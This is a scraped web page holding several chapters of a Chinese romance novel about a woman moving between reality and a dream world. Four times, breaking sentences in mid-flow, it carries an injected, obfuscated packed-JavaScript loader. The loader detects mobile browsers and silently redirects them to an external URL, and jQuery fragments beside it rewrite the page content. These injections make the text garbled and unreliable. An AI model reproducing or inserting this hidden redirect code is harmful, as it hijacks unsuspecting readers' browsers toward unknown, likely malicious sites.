;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102831|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现了越境毒贩,追缴到他们埋下的几公斤毒品。 缉毒警察从来不在公众场合露面,甚至家里连全家福都没有,就是怕会惹来报复。而徐箴言也陷入同样的困境。他曾经被毒贩埋下的新地雷炸伤。相关违法人员出狱后,还曾一榔头敲破他的头,导致他脑震荡失忆了一个月。 在这种情况下,为了不影响到家人的人身安全,他选择隐婚。他的爱人没有他俩的合照,就连通讯的手机也是单独一个,跟日常用的手机分开。 徐箴言有人身安全顾虑,这也是江小姗执意监控徐家的原因——如果有问题,他能立即帮忙。而直到最近,听说行凶的吸毒人员再次入狱,危机才算是勉强解除。 可说到那辆失控撞墙的车,徐箴言不认为那辆车冲他而来。它离林菀更近,更可能是冲林菀而去。 “我知道了。”徐箴言回神。 “行吧,再有情况我就告诉你。” “谢——” “这有啥谢的。你现在能答应来拍视频了吧?” “……待会我回你电话。”徐箴言挂断电话,看向朝他走过来的庞涛。 “庞经理呀,什么风把您吹到这儿来了?”对面女同事注意到他。 “你们这部门可是风水宝地,我不得多来蹭蹭运气。”庞涛拎了一个纸袋递过去给女同事,“吉庆坊的黑巧,大家吃。”他拿了几块放到徐箴言桌上,“手好点了吗,箴言?” 女同事在开心地发放巧克力,大家都在向庞涛道谢。徐箴言等他们都说完,才开口:“谢谢,手差不多恢复了。找我什么事?” “想跟你了解我最近接的那位客户,”庞涛强调,“以及她的朋友。” 银行是一个紧密联系的庞大系统。由于平日是跟钱打交道,因此系统内部有十分严格的各种规定。人们就在这种规矩压力下每天工作,经常学习,习惯性考试。彼此见面礼貌招呼,商业互吹,说话客气。但是否表里如一,还真难说。 庞涛就觉得徐箴言这个人在工作内外都得小心对待。所以他买了巧克力过来分发,既能拉近距离,又不显得过分逢迎。他刚刚听闻了徐箴言从饭桌把实习生叫走的事情。如果普通职员逞强,就得等着韩经理穿小鞋了。但徐箴言有点特殊,他业务能力强,工作没几年已经开始带团队。而且据说行里的VIP大客户徐雯是他姐姐。有这层关系在,就算是徐箴言天天不上班都不会被开除。行里确实也有这种关系户,家里是上亿的存钱大户,他就天天打卡聊天灌水,啥也不干,到点下班。 “她俩提起你了,说你是我同事。不过听她们的语气,”庞涛一笑,“你是不是也得罪她俩了?”他这话像是开玩笑,可进可退,完全看徐箴言的反应行事。 徐箴言的脸色有了变化。庞涛知道自己说对了。“涂淼还好,但林菀,拉小提琴的那个,她怎么就瞧不——看我不顺眼?咱们都是银行打工人,她不会也这么对你吧?”他打住话头,等着徐箴言接话。 “……应该有误会。”徐箴言淡淡地说。 “可能吧,呵呵。”庞涛依旧笑着。他的本意在于打个样儿,让徐箴言说说林菀瞧不起他的原因,可没想到徐箴言竟然还不松口。 “徐老师,林女士来了。”小苏跑过来。 庞涛眉头一跳,“哟,不会是林菀吧?” “不是。”徐箴言站起来。 “那你忙。改天一起吃饭。”庞涛拍拍他胳膊,转身离开。 徐箴言收拾资料,暂且抛却脑海里那些杂思,径直去会客室,那是他极力争取到的客户。 他推开门,脸上露出职业微笑,“您好,林珠莉女士。” 15. 露营野餐 晚上九点。初夏的夜风里带着一丝栀子花香。 林菀等在徐箴言家门口,思索着怎么道歉。到最后,她突然觉得自己过来就是道德错误,又拽紧包朝路口走去。 然而她才转身就站住,立即闪身到路边阴影里。 长长的林荫路下出现徐箴言的身影。他穿着一身灰色运动服,左臂里抱着个小姑娘,小姑娘手里拿着个泡泡机,正在吹泡泡。他右手则拎着个闪闪发光的粉紫色儿童滑板车以及一个儿童吸管杯。他回到家门口,先掏防蚊水喷了下四周才将孩子放下来,开门进屋。 直到那扇门重新关上,林菀才从阴影里走出来。她深呼吸一下,提起精神拨通徐箴言的电话。“是我。” “我知道。” “对不起。” “为什么道歉?” “我怕你生气,就是上次——” “你怕我生气,所以专门大晚上过来道歉?”徐箴言突然打开门。 林菀傻眼了,措手不及地站在原地,才意识到头顶有监控。 “我原谅你。”夜晚路灯下,他显得过于精神奕奕,眼神始终停留在她脸上,“不管你做什么都可以。” 林菀瞬间脸腾地红了。 “是谁呀?”蕊蕊举着泡泡机冲过来,从徐箴言腿边蹭出个头。 徐箴言怕她光脚跑出去,立即把她抱起来,“蕊蕊,叫阿姨。这我外甥女。” “阿姨。”蕊蕊的注意力还在泡泡机上,说完抬头看到是林菀,顿时连身体也倾过去,“兔子阿姨。” “兔子?”林菀低头看到自己手机上坠着的毛绒兔子,恍然大悟。 徐箴言担心孩子说话口无遮拦,便又将她放下来,“你在客厅吹泡泡好不好?舅舅在门口和阿姨说话。” “好。”此刻,蕊蕊满心满眼都是泡泡机。 徐箴言关上门,掏出防蚊液,“外面蚊子多。”他蹲下来,细心到连她脚踝处都喷上防蚊水。 “没事。”林菀不料他会像对待小孩子一样对待她,“我这就回去了。” “你过来,我很开心。”他看着她。 “……我现在回——” “今晚有流星雨,要不要一起看?”他打断她的话。 林菀一愣,下意识抬头,果然看到有几颗流星划过天空。 她突然有种隐隐约约的第六感——又是太阳风暴啊,她要穿越去原本的世界了。 …… 珑亚,品牌部,洗手间。 林菀掏粉饼补妆,她最近睡眠不足,黑眼圈挺重。 “Nora快点,车已经来了。”Maggie在门口喊。 “马上。”林菀匆匆把粉饼放进包里。 今天周五,本来定的是下班聚餐,但由于最近部门业绩好,经过谭姿申请后,团建经费大大增加,所以一顿小龙虾就升级成为一整天的露营休闲活动。大家早上在公司集合一起前往露营地。 露营地在郊外,沿河铺开,有房车区和帐篷区。大家去的是帐篷区,虽说已准备很多食物,但依旧能在老板这里买到各种烧烤食材,租借烧烤架无人机等设备。 谭姿说每人可以带一名家属,可也就两位同事带上对象,一个同事带了四五岁的小孩。小姑娘非常活泼,热衷于帮忙,抱着比她还高的椅子拖来拖去。 林菀看着她突然想起了蕊蕊。在这个世界,蕊蕊应该有十岁了。那徐箴言呢?她陡然一惊,徐箴言在这个世界过得怎么样?他会不会已经当爸爸了? 这个想法让她心里五味陈杂,一时很不是滋味。她的小心思,也仅仅只能止步于这种的隐秘的晦涩念想。 “Nora!” 林菀吓一跳,手一抖把旁边的酱油罐子给碰倒,连忙找纸巾。 Maggie拿起一串鱿鱼须,“出来玩你怎么还摆着个苦瓜脸——咦,这是什么?” “传单而已。”林菀将掉出来的传单迅速塞回包里。 “你要学小提琴?”Maggie很惊讶。 林菀含糊嗯一声。 “咱这个年龄还是躺平吧。学艺术的都是小孩子。” “对啊。这个工作强度,你还有业余生活?”曹磊脱口而出,说完立即瞥了眼谭姿,见她在忙着跟露营老板沟通,便松了口气。 “大家想吃什么就点什么。”谭姿大声说道,“河对岸还有采摘园,想摘草莓和樱桃就过去。” “啧,钱肯定不够用,看来谭姐打算自己垫付。”Maggie说。 这个道理大家都清楚,所以也没人去采摘园。谭姿见状直接喊了林菀一起去摘点水果过来大家吃。 说是采摘园,她俩到了那边才发现草莓已经快被摘光,而樱桃树也就只有五株而已,好在挂果不少,因为昂贵也没几个人来摘。 “你最近还好?”谭姿一边摘樱桃一边问,“上次那么焦虑地跑出去。” 林菀怔忡几秒才意识到上司问的是她半夜开会先撤的事情。“哦……已经处理好了。”难怪谭姿要喊她来一起摘樱桃。 “不是工作上的事情困扰?” “不不,是我朋友的事情。” “如果有事想不通,你可以来找我。我像你这么年轻的时候,可迷茫。” “好,谢谢您。”林菀笑了。跟领导呆一起,她总得也开个话题,于是说道:“最近林吾代言的事情好像没听有新进展。” “不顺利,谈合作还得跟法国画廊那边他的经纪人聊。那老头可顽固了。”谭姿说,“签不下林吾,下半年那款车就没代言人了。” “为什么不换其他人?” 谭姿看了她一眼,“因为董事长喜欢他。” 林菀若有所思,一不留神在树干上把手蹭出一颗血珠。她嘶了一声。 谭姿过来看究竟,扒拉开枝叶,“哟,这树干上怎么还嵌了个蜗牛壳。” 林菀也弯腰看,发现树干上的确嵌了个蜗牛壳,就是蜗牛壳边缘把她手指划拉出血。 “快去洗手。”谭姿招呼她,“摘了两篮也差不多了。” 回到帐篷下,刚好第一批烧烤上桌。大家坐下,掏出自带的凉菜和酒品。 “哎呀妈,这樱桃好酸。”Maggie整张脸都皱起来。 “我觉得还不错。”谭姿说。 林菀心头一跳,突然想起涂淼曾经问她是不是怀孕了?眼看曹磊过来倒酒,她下意识摁住谭姿的杯子,“谭姐,你跟我一起喝橙汁吧?” “领导肯定喝酒啊Nora。”曹磊说。 “喝饮料也没关系。”林菀坚持,“谭姐,我们一起喝饮料。” “行吧。”谭姿略微诧异。 整个下午,大家就在玩乐和烧烤中度过。下班时间,谭姿的老公竟然来了。 “这是我老公,叫他绪凡就好。”谭姿大方地介绍自己的丈夫。那是一个穿着纯色T恤衫和休闲长裤的年轻人。他与谭姿站在一起有明显的年龄差,但整体风格很和谐。 “你们好,”绪凡手里拽着车钥匙,笑容有些腼腆,“我以为你们已经结束了。”他来接应酬的妻子回家。 “没有,一起来喝啊!”Maggie大喊。 绪凡依旧笑着,微微低头跟谭姿耳语。谭姿点头说什么,他才过来一起坐下。不免地,所有人都在趁机打量他。这种打量过于露骨,他只能尽量显得坦然。 很快,服务员摆上一副新的碗筷,曹磊给他斟上一杯啤酒。 “谢谢,我不太能喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102832|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒。” “量力。”曹磊跟他碰杯,“听说你也是城大毕业的?” “我学自动化,电院的。你呢?” “新媒体。” 言谈之间,一小杯酒已经下肚。 很快,林菀就见识了什么叫“不太能喝酒”。区区两杯啤酒,绪凡就醉了。 散场时,曹磊帮谭姿将绪凡扶进车里躺下,“不好意思啊,谭姐。” “没事。”谭姿关上后座门,“他休息一会儿就好。刚刚谁说跟我顺路来着?Maggie还是Nora?” “是Nora。”曹磊把林菀喊过来。 “上车。”谭姿打开副驾驶门,绕过车头去驾驶位。 “我来开车吧,您可以去后座看着他,免得半路摔下来。”林菀说。 “也好。”谭姿转身去后座。 林菀直接导航去谭姿家,计划着到那边帮忙把绪凡搀扶回家,自己再打车回去——她担心谭姿一个人架不住绪凡。 车里很安静,只听得彼此的呼吸声。 谭姿坐在后座,任丈夫将头搁在她腿上。她温柔地捋开他挡住眼睛的刘海。 绪凡已经醒了,伸手圈住妻子的腰,嘟囔了一句。 “什么?”谭姿微微俯身。 都说酒后吐真言,绪凡问出了他最想问却一直不敢问的问题,“当初你为什么选择我,不选他?明明他比我更好。”他的声音嘶哑。 林菀猛地抓紧方向盘,从后视镜里看到谭姿微微一顿。 谭姿握住丈夫的手,声音依旧低柔,“因为他不是你呀。” 半个小时后,到达谭姿家。她抚了下林菀的胳膊,“辛苦,让你见笑了。” 林菀轻轻摇头。 她独自乘电梯下楼,下意识抬头看向九楼谭家窗户透出来的米色灯光。楼下静悄悄的,连草丛里都没有虫鸣声,只有的灯下她一人的影子。 公司里,很多人猜测谭姿与丈夫的婚姻,有人说因为地位,有人说因为钱财,但唯独没有人说因为爱情。可有时候偏偏最不可能的答案是正确的。 林菀到家已经晚上十一点。黑暗里,她第一次在客厅沙发坐下来,很久才去洗漱。等她从浴室出来,发现手机有条来自谭姿的未读消息—— “谢谢你提醒我不要喝酒。” 林菀长长地深呼吸着。 谭姿怀孕了。 …… 周末,林菀去小提琴机构报名,花三千块买了一把小提琴——她要正式开始“丰富业余生活”。私教太贵,她便报了团课。第一节课开课时,她一个人坐在一群六七岁的小豆丁里,差点被误认为是孩子家长。 “你为什么现在还要来学琴?”一个家长问她,暗指她年纪太大了,学不出啥名堂。 “我不觉得有不能学的理由。”她这样答道。 学习进展顺利,林菀发现自己能慢慢想起小时候一些基本功,甚至老师也夸奖她。 她已经忘了有多久没能这样专心致志地投入到一件事里面。上班后的生活一成不变。在公司,经常繁忙,偶尔划水,时不时听同事们探讨八卦,谁跟大老板有不可告人的关系,谁跟谁因为谁在电梯里打架被警告。周末呢,她疲惫得不想出门,在家看综艺洗衣服,听窗外的雨声,拿个外卖还时刻监控外卖员轨迹,方便做好开门拿外卖的心理准备。 她找不到生活的重心。 但这个充实的周末,让她重新觉得生活多了不一样的色彩。 晚上回家,她路过地铁站里莱音交响乐团的海报。跟以前一样,她的目光落到小提琴首席身上。 这一次,她站得笔直,目光坦然。 她心里曾经的酸涩感,竟然神奇地消失了,再也不见。 16. 偶然相遇 阳光透过窗帘上的花纹照射进来,在地上留下晃动的光斑。涂淼背光而坐,看着林菀拉了一首《小星星》,声音忽高忽低。 “怎么样?”林菀放下琴。 “很有进步!”涂淼连忙鼓掌。 “跟我以前的水平比呢?” 涂淼思考该怎么礼貌地形容,“假如说‘完全不会’跟‘你以前水平’之间有一百步的差距,那你现在还差……九十九步。” 林菀泄气地坐下来。 “继续加油啦,有这个开头已经很不错了。”涂淼揽住她的肩膀。 “等你和姓庞的彻底断联,我就全身心投入练琴。” “……”涂淼叹气起身,“走吧,恨他就去见他。” 今天是涂淼和那栋商用楼的主人马总签合同过户的日子。庞涛作为中间人自然不可或缺。 由于涂淼整日唠叨林菀的车再不开的话电瓶就没电了,所以今天是林菀开车。她已经凭借脑海中残存的一点诡异记忆在地下车库找到了自己的一辆SUV。 而到达马总公司所在的商厦是半个小时之后。庞涛已经等候在那里。 林菀依旧一脸写着生人勿近,站在涂淼身边跟保镖似的,直到合同签署完毕。 “祝贺涂老板,以后多多关照。”踏进电梯,庞涛笑着朝涂淼伸手。 “客气客气,多亏你。” “今天值得庆祝,待会一起吃饭?”庞涛问,眼神朝林菀飘去。 林菀就跟没看见似的,划拉着手机。 “改天吧。”涂淼尴尬一笑,找了个借口,“我俩还要去会个朋友。” 庞涛不再多言,扯了扯嘴角似笑非笑,出了电梯就掏出烟朝挂着吸烟区的牌子走去。 “你不喜欢他也就算了,干嘛非得摆这幅态度啊?怎么他撬你气门芯了?”涂淼将林菀拉出大厅。 “我已经很克制自己了。”林菀说。谁能无动于衷地面对一个杀人犯一步步接近他的受害者?而且只有这样一个唱红脸,一个唱白脸的情况下,庞涛才会时刻注意保持距离。林菀要通过直白明显的方式将他的种种意图扼杀在萌芽当中。 …… “徐老师,路对面就有复印店,我们俩现在就去打印。对不起,没带齐文件。” “没事,还有十五分钟。我先去前台签字,在大厅见面。”徐箴言将车停到路边树荫下。两个应届生连忙抱着包下车,跑过马路去对面的复印店。 徐箴言几乎是下车就看到了从商厦大厅出来的林菀和涂淼,立即加快脚步。 涂淼先看到他,而林菀则是很明显错愕一下。 “哎,箴言!咱们好久不见了啊!”涂淼高兴地回头问林菀,“对吧?” 林菀看了眼徐箴言,迅速扭头捋被风吹到眼前的碎发,“嗯。” “你怎么来这儿啊?”涂淼眼珠一转,“是不是见马总?我刚刚接手了他的一栋楼,听说他最近手头很是吃紧,情况到底怎么样?他公司是要被收购了吗?还是重组?” “这个不能透露。”徐箴言微笑着,看了眼林菀。才刚刚对上眼神,她就又看向别处。 “行吧,”涂淼耸耸肩,又用胳膊拐拐林菀,“你怎么不打招呼?” 林菀只得开口,“你吃午饭了吗?” “太忙,在单位食堂对付了几口。”徐箴言又问,“周六有时间吗?” “做什么?”涂淼插话。 徐箴言虽然是回答涂淼,但却看向林菀,“周城请客,喊我去他画室过周末。” “啊,我们俩也可以去吗?我还没去过专业画家的画室,好期待啊。”涂淼来了兴致,很自然地把自己也囊括进去。 “……”徐箴言突然不知道该怎么回答。 “如果我和涂淼能一起去的话,”林菀立即挽住涂淼的胳膊,开口说的话怎么都像是用来说服她自己,“应该可以空出时间。”真的不能……再和他单独接触了。但她也不想让涂淼扫兴。 “对。”涂淼很开心地拍拍徐箴言的胳膊,“谢谢啊。” “……”这一瞬间,徐箴言思考了很多种回复,但最终他还是重新端起微笑,“不客气。” “你平时跟周城很熟吗?”林菀问。 “也不是。之前大师班的墙被撞倒,砸坏了贮藏室的玻璃。后来他们清点发现少了挺多东西,包括我放在那里的一幅画。” “啊?我记得你上次就说他们把你一幅画拿去重刷,给学徒当普通画板用了。” “那边管理挺混乱。周城叫我去,也有赔礼道歉的意思。” “这叫啥管理水平啊?不会是偷偷拿去卖了中饱私囊吧?”涂淼很是嫌弃,“把经理开除得了。” 林菀的思绪却有点乱。这种事情,难不成跟林珠莉有关系? 涂淼又跟徐箴言聊了几句,大声说道:“那行,周六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102833|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约好了。” 这话飘进不远处抽烟的庞涛耳朵里。他目睹了整个过程。他开口邀请吃饭,这两女的百般不乐意,而徐箴言说邀请出去玩,她俩乐得开花似的,忙不迭答应。 徐箴言朝他招手致意,算是打招呼。 庞涛叼着烟,透过烟雾点了个头,没有其他动作。 不远处,两个应届生拿着打印好的文件走过斑马线,看到徐箴言和两个女人聊天。而从他站的方向看,显然他跟面前那个扎起头发的女人关系更近。 “那是谁?好眼熟。”是好几个女明星大粉的男同事说,“总感觉在某本杂志上见过。” “我没印象,应该不是明星。”小苏放下手机,“不过确实挺好看的。” “哎你别点赞了。约他出来看电影都比在朋友圈点赞好,顺便帮我看看他是直是弯。”男同事望着徐箴言的背影。 “他有女朋友,你死心吧。” 男同事无比遗憾地叹了口气。在他们的注视下,徐箴言和那两个人道别,彼此都转身离开。可他走了几步,突然回身拉住那个女生的手腕,说了句什么话。女生点头说好。 徐箴言握住那个女生手腕的时间可能才一两秒。 但就是这短暂的几秒让小苏眉头一跳。她从未见过徐老师和哪个异性主动亲密接触。 而面对自己带的学徒,进了商厦上电梯,徐箴言又恢复了平日里认真客气的工作态度。 小苏站在他侧后方,看着他垂在身侧戴着戒指的手,手指细长,骨节分明,皮肤白皙。 …… 林菀下定了很多遍决心,不再私下见徐箴言。然而这一晚,她却在梦中再次见到他—— 夜晚,徐箴言家的卧室。 灯关着,投影仪开着,播放英国电影《BJ单身日记》。 床前的地毯上,她穿着徐箴言的T恤衫,窝在徐箴言怀里。他也席地而坐,一手搂着她的肩膀,一手拿着飘薄荷叶子的莫吉托。 地上放着草莓、蜜瓜制作的果盘,还有爆米花和披萨,以及一壶冰块哗啦响的淡绿色莫吉托。 两人一边笑着聊天,一边看电视剧,直到窗外的路灯也熄灭。徐箴言起身将她抱起来,一起扑到床上。 林菀尖叫一声,赶紧捂住嘴无声笑,搂住他的脖子,感受他的呼吸游走在自己的颈侧。 黑暗里,他声音模糊而轻柔地喊了她一声,“兔宝。” 17. 梦的世界 为什么,为什么到这种年纪了还会做无法用语言形容的梦! 夜色降临,林菀背着小提琴箱穿梭在街头汹涌的人潮里,还在为昨夜的梦感觉到脸上燥热,因为即使是下班后两个小时的小提琴课程也没有让那个梦从她的脑海里消失,反而愈加深刻。 而现在,下课的她鬼使神差地来到徐箴言单位所在地址。为了赶时间上课,她没吃饭,到现在竟然也不觉饿意,只是在习习凉风中看向马路对面的建筑。 在那个世界,也就是五年前,这里是徐箴言工作的银行。如今五年过去,建筑大门上的烫金大字从银行变成了工商局。 林菀扭头回望,曾经自己和徐箴言一起喝咖啡的咖啡店也变成了一家新疆菜餐厅。 浅浅的落寞爬上心头,她沉思几秒,重新振作精神,跨上台阶朝站在门口揽客的服务员问好,“你好,请问这家店以前是咖啡厅吧?” “啊,是的。那家店经营不善倒闭了,然后我们老板接手。”服务员很热心,“您要喝咖啡的话,路口左拐有一家咖啡厅。” “不好意思,我再问一下你们这家餐厅开业多久了?” “三年半。” “那,对面以前是不是有一家银行?” “噢,那家外资银行啊,两年前就搬走了。” “……谢谢。” “不客气。” 林菀暗自深吸一口气,黯然地转身,不料差点撞到一个人。 “Nora?你怎么在这儿?”谭姿后退一步,诧异地上下打量她,身后跟着绪凡。 “谭姐?”林菀吓了一跳,猛然想起来这里确实离谭姿家不远。 “你小提琴班在附近?” “额——”林菀思考着该怎么回复,结果她的肚子轻轻咕了一声。 “还没吃饭?”谭姿很自然地拉住她,“走,我和绪凡吃夜宵,你也一起。” “不用了谭姐。” “别跟我客气。你现在不注意按时吃饭,到我这个年纪就有的受了。” 绪凡见老婆发话,虽然腼腆也应声附和,“才八点而已,一起吃饭吧。” 于是,林菀只好跟着夫妻俩进餐厅。 点好菜后,绪凡又点了奶茶,起身去旁边商场里的奶茶店拿。 “我最近胃口尤其好,晚上特别想吃新疆菜。”谭姿拿起服务员送来的热毛巾擦手,“你小提琴学得怎么样了?” “才入门而已。”林菀笑一笑,暂时隐去心底的晦涩,恢复在职场的惯常模样,“您能吃辣吗?”新疆菜偏咸辣。 “医生朋友说稍微吃些没问题,总不能因为怀孕就改变口味。”谭姿想了想,“我应该早点注意到的。说起来,前些天还做了胎梦,当时完全没想过。” “什么胎梦?”林菀有点好奇。 “梦见一个小孩子从月亮上跳下来,伸了个懒腰,跑来抱住我的腿对我说,你可不可以当我妈妈?” “好神奇。” “可能是吸引力法则吧。若朝思暮想要完成一件事,那么宇宙也会感知到你的召唤,帮你完成。”谭姿说,“说白了就是念念不忘,必有回响。有时候……也会体现在梦里呢。” 这个说法倒是很有趣。 林菀立即想到自己,“我曾经梦到自己当上了小提琴家。” 她想的是自己的确在某种意味上成为了小提琴家。而谭姿却答道——“难怪你现在开始学琴,这就是念念不忘,必有回响。” 林菀愣住了。她说的是无人所知的另一个世界。而谭姿说的是眼下的现实。 林菀突然感觉到一丝不对劲。 她那些所谓执念太深的梦境都描述了什么?首先是成为小提琴家,其次是过精彩的人生,参加各种比赛,学习蹦极滑翔伞…… 她还记得涂淼给她展示过这些事情的相关视频,她还说有种在梦中经历过的感觉——的确是在梦中经历过,因为她全部梦见过。 绪凡拎着两杯奶茶回来,一杯给林菀,一杯是他自己的,先插吸管给谭姿喝几口。“味道怎么样?” “还不错——” 谭姿话还没说完,绪凡就掏出手机对准她,“拍照纪念一下,这是今年夏天咱俩喝的第一款阳光玫瑰奶茶。”他是个奶茶控。 然后他认真地哈哈两声,看自己拍照的效果,注意到在公众场合于是声音也变小,“接下来这周你只能看着我喝奶茶。你的奶茶机会用完了。” 作为一个孕妇,为了控制血糖,谭姿决定每周顶多吃几口甜食。 听到这话,谭姿有点嫌弃地将奶茶推过去。 绪凡非得又把奶茶推回来,然后冲着谭姿笑。 两个人都没注意到对面的林菀脸色越来越不对劲。 林菀在看手机,准确说是在浏览她所有提到“梦”这个字眼的聊天记录。 “好气,我早上做梦,梦到我都进莱音交响乐团了,正要大展身手呢,结果被闹钟吵醒。” “我以前也梦到过我结婚,不过具体怎么结的,男的是谁,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102834|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉醒来全不记得了。哈哈哈哈哈。” “谁不是呢?这辈子都不打算买房……只在梦里有房有车。” “睡醒感觉浑身酸,大概是睡姿不正确吧,一整晚都在做梦练琴,练得腰椎间盘突出。” “白天看了个跳伞的纪录片,晚上就梦见我和涂淼去跳伞了。” …… 所有在聊天记录里描述的梦境,竟然都在那个世界一一兑现。这是惊还是喜? 空调冷气并不低,可林菀却感觉自己胳膊起了一层鸡皮疙瘩。 等吃完饭道别,林菀立即打车回家,从收纳箱里翻出她的旧电脑和旧手机,仔细查找以前她和涂淼的所有聊天记录。 “阿西吧,我连做梦都是当上了职业特效化妆师,老天爷能不能再给我个工作机会!” “昨天喝多了,我室友说我讲了一晚上梦话,洋洋洒洒都是在什么颁奖礼上的获奖感言,离大谱。” “嚯,我真的梦到我得奖了,哈哈哈,菀菀还有你呢!我梦到你也跟我一起得奖!哎呀妈太得劲了!” “今天遇到一个外国群演问路,我发现以前学的英语全忘了。刚刚在公交车上睡着,做梦我在好莱坞学英语。我真的栓Q。” “啊,我好像从来没有梦到我结婚。话说你下次再想想,梦里举行婚礼的时候,我是不是给你当伴娘?” …… 那个平行世界,似乎真的是由梦组成的世界。执念太深,变成梦境,即成世界。 所有不能完成的事情,在那个世界一一完成。她不必因为得了电影节大奖而有穿错灰姑娘玻璃鞋一样的羞耻感,因为那的确都是她的丰功伟绩,只不过全部在梦中完成。 林菀看向窗台上的茉莉花。在她去上班的时间里,无人注意的茉莉花也在静静地开花盛放。 万物自有其运行规律。并不是人们看到一朵花,这朵花才存在。林菀过着她自己的生活,世界会自动填补起她所不知道的空缺,比如默默绽开的茉莉,每日上新的面包店,以及……其他人的生活。这是一张网,互相交错,只不过有的人相离很远,不曾相识;而有的人近在咫尺,逐渐熟悉。 所以在那个世界,她有了从未见过的助理麦柯,而涂淼也拥有了个人工作室。当然,也不排除她和涂淼在梦中搭建起这样的人际关系,睡醒便忘了的可能。 曾经,她在面对塔罗牌时将眼下的世界归类为真实,那个世界设定为虚幻。如今,她有了更确切的答案——那个平行世界,既虚幻又真实。 18. 樱桃树上蜗牛壳 梦境,是一个很奇妙的场景。每个人都能随心所欲地勾勒自己想要的生活。但梦境与现实是完全不同的两个世界,无法相通。 比如说,现实世界的涂淼已经离世,而在此刻的平行梦境世界,她两手把住方向盘,瞪着早高峰的汽车长龙——“都绿灯了!还停车!走啊!搁这儿瞎子绣花呢?”她侧头问林菀,“我没骂漏吧?” “汽车、行人、红绿灯、狗、还有我,齐了。”林菀拧开一瓶矿泉水递过去,“喝口水润润嗓子。”本来是她开车,但涂淼急性子看不下去,非得亲自上阵。 窗外的风吹进来,涂淼耳边的发丝迷住眼睛。不等她自己动手,林菀便伸手帮她捋到耳后。 “谢谢亲爱的。”涂淼乐滋滋地说。 林菀弯了弯嘴角,可眼里却没有笑意。她开心不起来,因为做梦的人都已经消失了,那么她的梦境还能持续多久?现实世界的涂淼从来不曾说她梦到过自己变老的事情。 在意识到这件事后,林菀便陷入了新的困境。甚至庞涛已经没那么重要,因为只要有她在,庞涛都不可能跟涂淼走到结婚那一步。然而……涂淼却有可能随时消失。就像多天前那场地磁暴,随便一场类似的意外都能让涂淼丧命——在绝望的婚姻里,这可能就是她在梦中为自己定下的敢想不敢做的结局。 在这一刻,林菀不得不佩服林珠莉。那个女人早在二十多年前便去世,在梦中却飞黄腾达到现在。而她的父亲,则是在梦中都逃脱不掉被杀的命运。 林菀必须尽快解决掉涂淼这个问题。因为她逐渐意识到,自己来这边一趟度过很多天,而回到原本世界,也就仅仅一夜而已。这个平行世界就连时间都严格按照梦境来——人们在一场梦里可以做很多事情,时间流逝的速度快很多。这也意味着,当她回到真实世界过了一天,在梦境世界里可能过了好几天。 “话说……有时候你联系不上我,不觉得奇怪吗?”林菀踟蹰着问。 “这有啥好奇怪的。你要练琴,向来只要闭关就完全联系不上。大家都知道啊。”红灯路口,涂淼摁下车窗,朝旁边车道停下的车招手,“快看,是箴言!好巧啊!” 徐箴言也挥手,示意到停车场见。 林菀静静望着他,没有说话。 事实证明,她去银行旧址,去新疆菜餐厅打听都是枉然。因为徐箴言只在梦里是个银行人而已。现实生活中,谁知道他具体做什么工作,有什么样的故事呢?她和现实中的徐箴言毫无交集。她找不到徐箴言,而徐箴言……可能来找她吗?就算他想找也找不到她吧。因为他认识的林菀是著名小提琴家,在原本世界根本不存在。 思考到这些问题,林菀又不禁问,自己为何会穿梭在两个世界之间?契机是什么?她暗暗发誓,一定要找到答案。只有知道这个世界的底层运行规律,才能更好地做打算。 “到喽!”涂淼停下车。 林菀这才陡然回神。 徐箴言已经先一步到达,拎着礼盒等在路口。 这个村子靠近高速公路,由于最近开始发展农家乐旅游,所以修了个停车场。农民们大都独门独户,有的房子已经装修成欧式豪华别墅风,有的就是普普通通二层楼。村中主路口有个小超市,一群晒得黝黑的大爷横披衬衫,敞着肚皮在那里打牌抽烟聊天。城里的一家无人机商店销售员将偌大的产品搬下面包车,打算推销最新的喷洒农药无人机。 